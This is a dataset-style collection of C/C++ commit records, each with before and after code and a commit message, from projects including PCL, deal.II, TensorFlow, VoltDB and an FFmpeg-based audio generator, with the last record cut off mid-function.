}\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename PointSource, typename PointFeature> void\npcl::MultiscaleFeaturePersistence<PointSource, PointFeature>::determinePersistentFeatures (FeatureCloud &output_features,\n boost::shared_ptr<std::vector<int> > &output_indices)\n{\n if (!initCompute ())\n return;\n\n \/\/ Compute the features for all scales with the given feature estimator\n computeFeaturesAtAllScales ();\n\n \/\/ Compute mean feature\n calculateMeanFeature ();\n\n \/\/ Get the 'unique' features at each scale\n extractUniqueFeatures ();\n\n \/\/ Determine persistent features between scales\n\n\/*\n \/\/ Method 1: a feature is considered persistent if it is 'unique' in at least 2 different scales\n for (size_t scale_i = 0; scale_i < features_at_scale_vectorized.size () - 1; ++scale_i)\n for (std::list<size_t>::iterator feature_it = unique_features_indices[scale_i].begin (); feature_it != unique_features_indices[scale_i].end (); ++feature_it)\n {\n if (unique_features_table[scale_i][*feature_it] == true)\n {\n output_features.points.push_back (features_at_scale[scale_i]->points[*feature_it]);\n output_indices->push_back (*feature_it);\n }\n }\n*\/\n \/\/ Method 2: a feature is considered persistent if it is 'unique' in all the scales\n for (std::list<size_t>::iterator feature_it = unique_features_indices.front ().begin (); feature_it != unique_features_indices.front ().end (); ++feature_it)\n {\n bool present_in_all = true;\n for (size_t scale_i = 0; scale_i < features_at_scale.size (); ++scale_i)\n present_in_all = present_in_all && unique_features_table[scale_i][*feature_it];\n\n if (present_in_all)\n {\n output_features.points.push_back (features_at_scale.front ()->points[*feature_it]);\n output_indices->push_back (*feature_it);\n }\n }\n\n \/\/ Consider that output cloud is unorganized\n output_features.header = feature_estimator_->getInputCloud ()->header;\n output_features.is_dense = feature_estimator_->getInputCloud ()->is_dense;\n output_features.width = output_features.points.size ();\n output_features.height = 1;\n}\n\n\n#define PCL_INSTANTIATE_MultiscaleFeaturePersistence(InT, Feature) template class PCL_EXPORTS pcl::MultiscaleFeaturePersistence<InT, Feature>;\n\n#endif \/* PCL_FEATURES_IMPL_MULTISCALE_FEATURE_PERSISTENCE_H_ *\/\n<|endoftext|>"} {"text":"<commit_before>#include \"systemGenerator.h\"\n\n#include <generatorBase\/generatorCustomizer.h>\n\nusing namespace trik::simple;\nusing namespace generatorBase::simple;\n\nSystemGenerator::SystemGenerator(qrRepo::RepoApi const &repo\n\t\t, generatorBase::GeneratorCustomizer &customizer\n\t\t, qReal::Id const &id\n\t\t, QObject *parent)\n\t: BindingGenerator(repo, customizer, id\n\t\t\t, repo.property(id, \"Code\").toBool() ? \"system.t\" : \"nativeCode.t\"\n\t\t\t, QList<Binding *>()\n\t\t\t\t\t<< Binding::createDirect(\"@@COMMAND@@\", \"Command\")\n\t\t\t, parent)\n{\n}\n<commit_msg>Fixed inverted \"Code\" value in System Call block<commit_after>#include \"systemGenerator.h\"\n\n#include <generatorBase\/generatorCustomizer.h>\n\nusing namespace trik::simple;\nusing namespace generatorBase::simple;\n\nSystemGenerator::SystemGenerator(qrRepo::RepoApi const &repo\n\t\t, generatorBase::GeneratorCustomizer &customizer\n\t\t, qReal::Id const &id\n\t\t, QObject *parent)\n\t: BindingGenerator(repo, customizer, id\n\t\t\t, repo.property(id, \"Code\").toBool() ? \"nativeCode.t\" : \"system.t\"\n\t\t\t, QList<Binding *>()\n\t\t\t\t\t<< Binding::createDirect(\"@@COMMAND@@\", \"Command\")\n\t\t\t, parent)\n{\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/---------------------------------------------------------------------------\n\/\/ $Id$ \n\/\/ Version: $Name$\n\/\/\n\/\/ Copyright (C) 2005 by the deal.II authors\n\/\/\n\/\/ This file is subject to QPL and may not be distributed\n\/\/ without copyright and license information. Please refer\n\/\/ to the file deal.II\/doc\/license.html for the text and\n\/\/ further information on this license.\n\/\/\n\/\/---------------------------------------------------------------------------\n\n#include <base\/utilities.h>\n#include <base\/exceptions.h>\n\n#include <fstream>\n#include <iomanip>\n#include <algorithm>\n#include <cstdlib>\n#include <cstdio>\n#include <ctime>\n#include <cerrno>\n#include <cmath>\n#include <unistd.h>\n#include <sys\/types.h>\n#ifdef HAVE_STD_STRINGSTREAM\n# include <sstream>\n#else\n# include <strstream>\n#endif\n#ifdef HAVE_STD_NUMERIC_LIMITS\n# include <limits>\n#else\n# include <limits.h>\n#endif\n\n\nnamespace Utilities\n{\n\n\n DeclException2 (ExcInvalidNumber2StringConversersion,\n\t\t unsigned int, unsigned int,\n\t\t << \"When trying to convert \" << arg1\n\t\t << \" to a string with \" << arg2 << \" digits\");\n DeclException1 (ExcInvalidNumber,\n\t\t unsigned int,\n\t\t << \"Invalid number \" << arg1);\n DeclException1 (ExcCantConvertString,\n\t\t std::string,\n\t\t << \"Can't convert the string \" << arg1\n << \" to the desired type\");\n\n\t \n std::string\n int_to_string (const unsigned int i,\n\t\t const unsigned int digits)\n {\n AssertThrow ( ! ((digits==1 && i>=10) ||\n\t\t (digits==2 && i>=100) ||\n\t\t (digits==3 && i>=1000) ||\n\t\t (digits==4 && i>=10000)||\n\t\t (i>=100000)),\n\t\t ExcInvalidNumber2StringConversersion(i, digits));\n \n std::string s;\n switch (digits) \n {\n\tcase 4:\n\t s += '0' + i\/1000;\n\tcase 3:\n\t s += '0' + (i%1000)\/100;\n\tcase 2:\n\t s += '0' + (i%100)\/10;\n\tcase 1:\n\t s += '0' + i%10;\n\t break;\n\tdefault:\n\t s += \"invalid digits information\";\n };\n return s;\n }\n\n\n\n unsigned int\n needed_digits (const unsigned int max_number)\n {\n if (max_number < 10)\n return 1;\n if (max_number < 100)\n return 2;\n if (max_number < 1000)\n return 3;\n if (max_number < 10000)\n return 4;\n if (max_number < 100000)\n return 5;\n if (max_number < 1000000)\n return 6;\n AssertThrow (false, ExcInvalidNumber(max_number));\n return 0;\n }\n\n\n \n int\n string_to_int (const std::string &s)\n {\n#ifdef HAVE_STD_STRINGSTREAM\n std::istringstream ss(s);\n#else\n std::ostrstream ss(s.c_str());\n#endif\n\n#ifdef HAVE_STD_NUMERIC_LIMITS\n static const int max_int = std::numeric_limits<int>::max();\n#else\n static const int max_int = INT_MAX;\n#endif\n \n int i = max_int;\n ss >> i;\n\n \/\/ check for errors\n AssertThrow (i != max_int, ExcCantConvertString (s));\n \n return i;\n }\n \n\n\n std::vector<int>\n string_to_int (const std::vector<std::string> &s)\n {\n std::vector<int> tmp (s.size());\n for (unsigned int i=0; i<s.size(); ++i)\n tmp[i] = string_to_int (s[i]);\n return tmp;\n }\n\n\n\n std::vector<std::string>\n split_string_list (const std::string &s,\n const char delimiter)\n {\n std::string tmp = s;\n std::vector<std::string> split_list;\n split_list.reserve (std::count (tmp.begin(), tmp.end(), delimiter)+1);\n\n\t\t\t\t \/\/ split the input list\n while (tmp.length() != 0)\n {\n std::string name;\n\tname = tmp;\n\n\tif (name.find(delimiter) != std::string::npos)\n\t {\n\t name.erase (name.find(delimiter), std::string::npos);\n\t tmp.erase (0, tmp.find(delimiter)+1);\n\t }\n\telse\n\t tmp = \"\";\n \n\twhile ((name.length() != 0) &&\n\t (name[0] == ' '))\n\t name.erase (0,1);\n\n\twhile (name[name.length()-1] == ' ')\n\t name.erase (name.length()-1, 1);\n\n\tsplit_list.push_back (name);\n }\n\n return split_list;\n }\n \n \n\n double\n generate_normal_random_number (const double a,\n\t\t\t\t const double sigma)\n {\n\t\t\t\t \/\/ if no noise: return now\n if (sigma == 0)\n return a;\n\n#ifdef HAVE_RAND_R \n static unsigned int seed = 0xabcd1234;\n const double y = 1.0*rand_r(&seed)\/RAND_MAX;\n#else\n const double y = 1.0*rand()\/RAND_MAX;\n#endif\n\n\t\t\t\t \/\/ find x such that y=erf(x). do so\n\t\t\t\t \/\/ using a Newton method to find\n\t\t\t\t \/\/ the zero of F(x)=erf(x)-y. start\n\t\t\t\t \/\/ at x=0\n double x = 0;\n unsigned int iteration = 0;\n while (true)\n {\n\tconst double residual = 0.5+erf(x\/std::sqrt(2.)\/sigma)\/2-y;\n\tif (std::fabs(residual) < 1e-7)\n\t break;\n\tconst double F_prime = 1.\/std::sqrt(2*3.1415926536)\/sigma *\n\t\t\t std::exp(-x*x\/sigma\/sigma\/2);\n\tx += -residual \/ F_prime;\n\n\t\t\t\t\t \/\/ make sure that we don't\n\t\t\t\t\t \/\/ recurse endlessly\n\t++iteration;\n\tAssert (iteration < 20, ExcInternalError());\n };\n return x+a;\n }\n\n\n\n namespace System\n {\n#if defined(__linux__)\n\n double get_cpu_load ()\n {\n std::ifstream cpuinfo;\n cpuinfo.open(\"\/proc\/loadavg\");\n \n AssertThrow(cpuinfo, ExcIO());\n\n double load;\n cpuinfo >> load;\n\n return load;\n }\n\n#else\n \n double get_cpu_load ()\n {\n return 0.;\n }\n \n#endif\n\n\n std::string get_hostname ()\n {\n const unsigned int N=1024;\n char hostname[N];\n gethostname (&(hostname[0]), N-1);\n return hostname;\n }\n\n\n\n std::string get_time ()\n {\n std::time_t time1= std::time (0);\n std::tm *time = std::localtime(&time1); \n\n#ifdef HAVE_STD_STRINGSTREAM\n std::ostringstream o;\n#else\n std::ostrstream o;\n#endif\n o << time->tm_hour << \":\"\n << (time->tm_min < 10 ? \"0\" : \"\") << time->tm_min << \":\"\n << (time->tm_sec < 10 ? \"0\" : \"\") << time->tm_sec;\n#ifndef HAVE_STD_STRINGSTREAM\n o << std::ends;\n#endif\n return o.str();\n }\n \n }\n \n}\n<commit_msg>Use the has_documentation flag.<commit_after>\/\/---------------------------------------------------------------------------\n\/\/ $Id$ \n\/\/ Version: $Name$\n\/\/\n\/\/ Copyright (C) 2005 by the deal.II authors\n\/\/\n\/\/ This file is subject to QPL and may not be distributed\n\/\/ without copyright and license information. Please refer\n\/\/ to the file deal.II\/doc\/license.html for the text and\n\/\/ further information on this license.\n\/\/\n\/\/---------------------------------------------------------------------------\n\n#include <base\/utilities.h>\n#include <base\/exceptions.h>\n\n#include <fstream>\n#include <iomanip>\n#include <algorithm>\n#include <cstdlib>\n#include <cstdio>\n#include <ctime>\n#include <cerrno>\n#include <cmath>\n#include <unistd.h>\n#include <sys\/types.h>\n#ifdef HAVE_STD_STRINGSTREAM\n# include <sstream>\n#else\n# include <strstream>\n#endif\n#ifdef HAVE_STD_NUMERIC_LIMITS\n# include <limits>\n#else\n# include <limits.h>\n#endif\n\n\nnamespace Utilities\n{\n\n\n DeclException2 (ExcInvalidNumber2StringConversersion,\n\t\t unsigned int, unsigned int,\n\t\t << \"When trying to convert \" << arg1\n\t\t << \" to a string with \" << arg2 << \" digits\");\n DeclException1 (ExcInvalidNumber,\n\t\t unsigned int,\n\t\t << \"Invalid number \" << arg1);\n DeclException1 (ExcCantConvertString,\n\t\t std::string,\n\t\t << \"Can't convert the string \" << arg1\n << \" to the desired type\");\n\n\t \n std::string\n int_to_string (const unsigned int i,\n\t\t const unsigned int digits)\n {\n AssertThrow ( ! ((digits==1 && i>=10) ||\n\t\t (digits==2 && i>=100) ||\n\t\t (digits==3 && i>=1000) ||\n\t\t (digits==4 && i>=10000)||\n\t\t (i>=100000)),\n\t\t ExcInvalidNumber2StringConversersion(i, digits));\n \n std::string s;\n switch (digits) \n {\n\tcase 4:\n\t s += '0' + i\/1000;\n\tcase 3:\n\t s += '0' + (i%1000)\/100;\n\tcase 2:\n\t s += '0' + (i%100)\/10;\n\tcase 1:\n\t s += '0' + i%10;\n\t break;\n\tdefault:\n\t s += \"invalid digits information\";\n };\n return s;\n }\n\n\n\n unsigned int\n needed_digits (const unsigned int max_number)\n {\n if (max_number < 10)\n return 1;\n if (max_number < 100)\n return 2;\n if (max_number < 1000)\n return 3;\n if (max_number < 10000)\n return 4;\n if (max_number < 100000)\n return 5;\n if (max_number < 1000000)\n return 6;\n AssertThrow (false, ExcInvalidNumber(max_number));\n return 0;\n }\n\n\n \n int\n string_to_int (const std::string &s)\n {\n#ifdef HAVE_STD_STRINGSTREAM\n std::istringstream ss(s);\n#else\n std::ostrstream ss(s.c_str());\n#endif\n\n#ifdef HAVE_STD_NUMERIC_LIMITS\n static const int max_int = std::numeric_limits<int>::max();\n#else\n static const int max_int = INT_MAX;\n#endif\n \n int i = max_int;\n ss >> i;\n\n \/\/ check for errors\n AssertThrow (i != max_int, ExcCantConvertString (s));\n \n return i;\n }\n \n\n\n std::vector<int>\n string_to_int (const std::vector<std::string> &s)\n {\n std::vector<int> tmp (s.size());\n for (unsigned int i=0; i<s.size(); ++i)\n tmp[i] = string_to_int (s[i]);\n return tmp;\n }\n\n\n\n std::vector<std::string>\n split_string_list (const std::string &s,\n const char delimiter)\n {\n std::string tmp = s;\n std::vector<std::string> split_list;\n split_list.reserve (std::count (tmp.begin(), tmp.end(), delimiter)+1);\n\n\t\t\t\t \/\/ split the input list\n while (tmp.length() != 0)\n {\n std::string name;\n\tname = tmp;\n\n\tif (name.find(delimiter) != std::string::npos)\n\t {\n\t name.erase (name.find(delimiter), std::string::npos);\n\t tmp.erase (0, tmp.find(delimiter)+1);\n\t }\n\telse\n\t tmp = \"\";\n \n\twhile ((name.length() != 0) &&\n\t (name[0] == ' '))\n\t name.erase (0,1);\n\n\twhile (name[name.length()-1] == ' ')\n\t name.erase (name.length()-1, 1);\n\n\tsplit_list.push_back (name);\n }\n\n return split_list;\n }\n\n\n\n std::vector<std::string>\n break_text_into_lines (const std::string &original_text,\n const unsigned int width)\n {\n std::string text = original_text;\n std::vector<std::string> lines;\n\n \/\/ remove trailing spaces\n while ((text.length() != 0) && (text[text.length()-1] == ' '))\n text.erase(text.length()-1,1);\n \n \/\/ then split the text into lines\n while (text.length() != 0)\n {\n \/\/ in each iteration, first remove\n \/\/ leading spaces\n while ((text.length() != 0) && (text[0] == ' '))\n text.erase(0, 1);\n\n \/\/ if we can fit everything into one\n \/\/ line, then do so. otherwise, we have\n \/\/ to keep breaking\n if (text.length() < width)\n {\n lines.push_back (text);\n text = \"\";\n }\n else\n {\n \/\/ starting at position width, find the\n \/\/ location of the previous space, so\n \/\/ that we can break around there\n int location = std::min(width,text.length()-1);\n for (; location>=0; --location)\n if (text[location] == ' ')\n break;\n \n \/\/ if there are no spaces, then try if\n \/\/ there are spaces coming up\n if (location == 0)\n for (location = std::min(width,text.length()-1);\n location<static_cast<int>(text.length());\n ++location)\n if (text[location] == ' ')\n break;\n \n \/\/ now take the text up to the found\n \/\/ location and put it into a single\n \/\/ line, and remove it from 'text'\n lines.push_back (std::string (text, 0, location));\n text.erase (0, location);\n }\n }\n \n return lines;\n }\n \n \n\n double\n generate_normal_random_number (const double a,\n\t\t\t\t const double sigma)\n {\n\t\t\t\t \/\/ if no noise: return now\n if (sigma == 0)\n return a;\n\n#ifdef HAVE_RAND_R \n static unsigned int seed = 0xabcd1234;\n const double y = 1.0*rand_r(&seed)\/RAND_MAX;\n#else\n const double y = 1.0*rand()\/RAND_MAX;\n#endif\n\n\t\t\t\t \/\/ find x such that y=erf(x). do so\n\t\t\t\t \/\/ using a Newton method to find\n\t\t\t\t \/\/ the zero of F(x)=erf(x)-y. start\n\t\t\t\t \/\/ at x=0\n double x = 0;\n unsigned int iteration = 0;\n while (true)\n {\n\tconst double residual = 0.5+erf(x\/std::sqrt(2.)\/sigma)\/2-y;\n\tif (std::fabs(residual) < 1e-7)\n\t break;\n\tconst double F_prime = 1.\/std::sqrt(2*3.1415926536)\/sigma *\n\t\t\t std::exp(-x*x\/sigma\/sigma\/2);\n\tx += -residual \/ F_prime;\n\n\t\t\t\t\t \/\/ make sure that we don't\n\t\t\t\t\t \/\/ recurse endlessly\n\t++iteration;\n\tAssert (iteration < 20, ExcInternalError());\n };\n return x+a;\n }\n\n\n\n namespace System\n {\n#if defined(__linux__)\n\n double get_cpu_load ()\n {\n std::ifstream cpuinfo;\n cpuinfo.open(\"\/proc\/loadavg\");\n \n AssertThrow(cpuinfo, ExcIO());\n\n double load;\n cpuinfo >> load;\n\n return load;\n }\n\n#else\n \n double get_cpu_load ()\n {\n return 0.;\n }\n \n#endif\n\n\n std::string get_hostname ()\n {\n const unsigned int N=1024;\n char hostname[N];\n gethostname (&(hostname[0]), N-1);\n return hostname;\n }\n\n\n\n std::string get_time ()\n {\n std::time_t time1= std::time (0);\n std::tm *time = std::localtime(&time1); \n\n#ifdef HAVE_STD_STRINGSTREAM\n std::ostringstream o;\n#else\n std::ostrstream o;\n#endif\n o << time->tm_hour << \":\"\n << (time->tm_min < 10 ? \"0\" : \"\") << time->tm_min << \":\"\n << (time->tm_sec < 10 ? \"0\" : \"\") << time->tm_sec;\n#ifndef HAVE_STD_STRINGSTREAM\n o << std::ends;\n#endif\n return o.str();\n }\n \n }\n \n}\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright 2020 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include \"tensorflow\/cc\/framework\/ops.h\"\n#include \"tensorflow\/cc\/ops\/array_ops.h\"\n#include \"tensorflow\/cc\/ops\/resource_variable_ops.h\"\n#include \"tensorflow\/cc\/ops\/standard_ops.h\"\n#include \"tensorflow\/cc\/framework\/grad_op_registry.h\"\n#include \"tensorflow\/cc\/framework\/gradient_checker.h\"\n#include \"tensorflow\/cc\/framework\/gradients.h\"\n#include \"tensorflow\/cc\/client\/client_session.h\"\n#include \"tensorflow\/cc\/framework\/testutil.h\"\n#include \"tensorflow\/cc\/gradients\/grad_testutil.h\"\n#include \"tensorflow\/core\/framework\/tensor_testutil.h\"\n#include \"tensorflow\/core\/lib\/core\/status_test_util.h\"\n\nnamespace tensorflow {\nnamespace {\n\nusing namespace ops; \/\/ NOLINT(build\/namespaces)\n\nclass ResourceVariableGradTest : public ::testing::Test {\n protected:\n ResourceVariableGradTest() : scope_(Scope::NewRootScope()) {}\n\n void RunTest(const Output& x, const TensorShape& x_shape, const Output& y,\n const TensorShape& y_shape) {\n TF_ASSERT_OK(scope_.status());\n float max_error;\n TF_ASSERT_OK((ComputeGradientError<float, float, float>(\n scope_, {x}, {x_shape}, {y}, {y_shape}, &max_error)));\n EXPECT_LT(max_error, 1e-3);\n }\n\n void RunTest(const OutputList& xs, const std::vector<TensorShape>& x_shapes,\n const OutputList& ys, const std::vector<TensorShape>& y_shapes) {\n TF_ASSERT_OK(scope_.status());\n float max_error;\n TF_ASSERT_OK((ComputeGradientError<float, float, float>(\n scope_, xs, x_shapes, ys, y_shapes, &max_error)));\n EXPECT_LT(max_error, 1e-3);\n }\n\n Scope scope_;\n};\n\nTEST_F(ResourceVariableGradTest, ReadVariableOpGrad) {\n TensorShape shape({});\n auto x = Placeholder(scope_, DT_FLOAT, Placeholder::Shape(shape));\n\n auto var = VarHandleOp(scope_, DT_FLOAT, shape);\n auto init = AssignVariableOp(scope_, var, Const(scope_, (float) 2, {}));\n\n auto temp = ReadVariableOp(scope_, var, DT_FLOAT);\n\n auto y = Mul(scope_, temp, x);\n\n auto dy = ops::Cast(scope_, ops::Const(scope_, 1.0, shape), DT_FLOAT);\n\n OutputList dxs;\n TF_ASSERT_OK(AddSymbolicGradients(scope_, {y}, {var}, {dy}, &dxs));\n\n\n ClientSession::FeedType feed_list;\n feed_list.insert({x, (float) 5});\n feed_list.insert({dy, (float) 1});\n\n std::vector<Tensor> dxout;\n ClientSession session(scope_);\n TF_ASSERT_OK(session.Run(feed_list, dxs, &dxout));\n\n auto grad = dxout[0].scalar<float>()();\n EXPECT_EQ(grad, 5);\n}\n\n} \/\/ namespace\n} \/\/ namespace tensorflow\n<commit_msg>Fix test nits<commit_after>\/* Copyright 2020 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include <iostream>\n#include \"tensorflow\/cc\/framework\/ops.h\"\n#include \"tensorflow\/cc\/ops\/array_ops.h\"\n#include \"tensorflow\/cc\/ops\/resource_variable_ops.h\"\n#include \"tensorflow\/cc\/ops\/standard_ops.h\"\n#include \"tensorflow\/cc\/framework\/grad_op_registry.h\"\n#include \"tensorflow\/cc\/framework\/gradient_checker.h\"\n#include \"tensorflow\/cc\/framework\/gradients.h\"\n#include \"tensorflow\/cc\/client\/client_session.h\"\n#include \"tensorflow\/cc\/framework\/testutil.h\"\n#include \"tensorflow\/cc\/gradients\/grad_testutil.h\"\n#include \"tensorflow\/core\/framework\/tensor_testutil.h\"\n#include \"tensorflow\/core\/lib\/core\/status_test_util.h\"\n\nnamespace tensorflow {\nnamespace {\n\nusing namespace ops; \/\/ NOLINT(build\/namespaces)\n\nTEST(ResourceVariableGradTest, ReadVariableOpGrad) {\n TensorShape shape({});\n auto x = Placeholder(scope_, DT_FLOAT, Placeholder::Shape(shape));\n\n auto var = VarHandleOp(scope_, DT_FLOAT, shape);\n auto init = AssignVariableOp(scope_, var, Const(scope_, (float) 2, shape));\n\n auto temp = ReadVariableOp(scope_, var, DT_FLOAT);\n\n auto y = Mul(scope_, temp, x);\n\n auto dy = Placeholder(scope_, DT_FLOAT, Placeholder::Shape(shape));\n\n OutputList dxs;\n TF_ASSERT_OK(AddSymbolicGradients(scope_, {y}, {var}, {dy}, &dxs));\n\n\n ClientSession::FeedType feed_list;\n feed_list.insert({x, (float) 5});\n feed_list.insert({dy, (float) 1});\n\n std::vector<Tensor> dxout;\n ClientSession session(scope_);\n TF_ASSERT_OK(session.Run(feed_list, dxs, &dxout));\n\n auto grad = dxout[0].scalar<float>()();\n EXPECT_EQ(grad, 5);\n}\n\n} \/\/ namespace\n} \/\/ namespace tensorflow\n<|endoftext|>"} {"text":"<commit_before><commit_msg>CR mode update for mode 3<commit_after><|endoftext|>"} {"text":"<commit_before>\/* This file is part of VoltDB.\n * Copyright (C) 2008-2012 VoltDB Inc.\n *\n * VoltDB is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * VoltDB is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with VoltDB. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include <sstream>\n#include \"tablecountnode.h\"\n#include \"common\/common.h\"\n#include \"expressions\/abstractexpression.h\"\n#include \"storage\/table.h\"\n\nnamespace voltdb {\n\nTableCountPlanNode::~TableCountPlanNode() {\n}\n\nstd::string TableCountPlanNode::debugInfo(const std::string &spacer) const {\n std::ostringstream buffer;\n buffer << this->AbstractScanPlanNode::debugInfo(spacer);\n assert(m_predicate == NULL);\n buffer << spacer << \"TABLE COUNT Expression: <NULL>\";\n return (buffer.str());\n}\n\n}\n<commit_msg>Resolve the valgrind memory leak problem<commit_after>\/* This file is part of VoltDB.\n * Copyright (C) 2008-2012 VoltDB Inc.\n *\n * VoltDB is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * VoltDB is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with VoltDB. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include <sstream>\n#include \"tablecountnode.h\"\n#include \"common\/common.h\"\n#include \"expressions\/abstractexpression.h\"\n#include \"storage\/table.h\"\n\nnamespace voltdb {\n\nTableCountPlanNode::~TableCountPlanNode() {\n delete getOutputTable();\n setOutputTable(NULL);\n}\n\nstd::string TableCountPlanNode::debugInfo(const std::string &spacer) const {\n std::ostringstream buffer;\n buffer << this->AbstractScanPlanNode::debugInfo(spacer);\n assert(m_predicate == NULL);\n buffer << spacer << \"TABLE COUNT Expression: <NULL>\";\n return (buffer.str());\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2001 Fabrice Bellard\n *\n * This file is part of FFmpeg.\n *\n * FFmpeg is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * FFmpeg is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with FFmpeg; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <iostream>\n\n#ifdef HAVE_AV_CONFIG_H\n#undef HAVE_AV_CONFIG_H\n#endif\n\n#include \"gen_audio.hpp\"\n\nextern \"C\" {\n #include <libavformat\/avformat.h>\n #include <libavutil\/imgutils.h>\n #include <libswscale\/swscale.h>\n #include <libavcodec\/avcodec.h>\n #include <libavutil\/common.h>\n #include <libavutil\/opt.h>\n}\n\n\/\/ this stuff makes me cranky!\n#if LIBAVCODEC_VERSION_INT < AV_VERSION_INT(55,28,1)\n#define av_frame_alloc avcodec_alloc_frame\n#define av_frame_free avcodec_free_frame\n#endif\n\n#define INBUF_SIZE 4096\n#define AUDIO_INBUF_SIZE 20480\n#define AUDIO_REFILL_THRESH 4096\n\nusing namespace std;\n\ngen_audio::gen_audio() :\n r{42}\n{\n}\n\nvector<unsigned char> gen_audio::render_target( int datumNumber ) {\n std::poisson_distribution<int> _word_count(3);\n std::uniform_int_distribution<int> _word(0,vocab.size()-1);\n vector<unsigned char> rc;\n\n int word_count = _word_count(r)+1;\n for(int i=0; i<word_count; i++) {\n int word = _word(r);\n string w = vocab[word];\n if( i > 0 ) rc.push_back(' ');\n rc.insert( rc.end(), w.begin(), w.end() );\n }\n\/\/ string result((char*)rc.data(),rc.size());\n\/\/ cout << \"'\" << result << \"'\\n\";\n return rc;\n}\n\nvector<unsigned char> gen_audio::render_datum( int datumNumber ) {\n int frequency = ((datumNumber % 7) + 1) * 1000;\n return encode(frequency, 2000);\n}\n\n\/*\n * Audio encoding example\n *\/\nvector<unsigned char> gen_audio::encode(float frequencyHz, int duration) {\n AVCodec *codec;\n AVCodecContext *c= nullptr;\n int frame_size, i, j, out_size, outbuf_size;\n short *samples;\n float t, tincr;\n uint8_t *outbuf;\n vector<unsigned char> rc;\n\n \/* find the MP2 encoder *\/\n codec = avcodec_find_encoder(CODEC_ID_MP2);\n if (!codec) {\n fprintf(stderr, \"codec not found\\n\");\n exit(1);\n }\n\n c = avcodec_alloc_context3(codec);\n\n c->sample_fmt = c->codec->sample_fmts[0];\n\n \/* put sample parameters *\/\n c->bit_rate = 64000;\n c->sample_rate = 44100;\n c->channels = 2;\n\n \/* open it *\/\n if (avcodec_open2(c, codec, nullptr) < 0) {\n fprintf(stderr, \"could not open codec\\n\");\n exit(1);\n }\n\n \/* the codec gives us the frame size, in samples *\/\n frame_size = c->frame_size;\n float frame_duration = (float)(c->frame_size) \/ (float)(c->sample_rate);\n int frames = ceil((float)duration \/ frame_duration \/ 1000.);\n samples = (short*)malloc(frame_size * 2 * c->channels);\n outbuf_size = 10000;\n outbuf = (uint8_t*)malloc(outbuf_size);\n\n \/* encode a single tone sound *\/\n t = 0;\n tincr = 2 * M_PI * frequencyHz \/ c->sample_rate;\n for(i=0;i<frames;i++) {\n for(j=0;j<frame_size;j++) {\n samples[2*j] = (int)(sin(t) * 10000);\n samples[2*j+1] = samples[2*j];\n t += tincr;\n }\n \/* encode the samples *\/\n out_size = avcodec_encode_audio(c, outbuf, outbuf_size, samples);\n for(int i=0; i<out_size; i++) { rc.push_back(outbuf[i]); }\n }\n free(outbuf);\n free(samples);\n\n avcodec_close(c);\n av_free(c);\n\n return rc;\n}\n\nvoid gen_audio::encode(const std::string& filename, float frequencyHz, int duration)\n{\n FILE* f;\n f = fopen(filename.c_str(), \"wb\");\n if (!f) {\n fprintf(stderr, \"could not open %s\\n\", filename.c_str());\n exit(1);\n }\n\n vector<unsigned char> data = encode(frequencyHz,duration);\n fwrite(data.data(), 1, data.size(), f);\n fclose(f);\n}\n\n\/*\n * Audio decoding.\n *\/\nvoid gen_audio::decode(const std::string& outfilename, const std::string& filename)\n{\n AVCodec *codec;\n AVCodecContext *c= NULL;\n int out_size, len;\n FILE *f, *outfile;\n uint8_t *outbuf;\n uint8_t inbuf[AUDIO_INBUF_SIZE + FF_INPUT_BUFFER_PADDING_SIZE];\n AVPacket avpkt;\n\n av_init_packet(&avpkt);\n\n printf(\"Audio decoding\\n\");\n\n \/* find the mpeg audio decoder *\/\n codec = 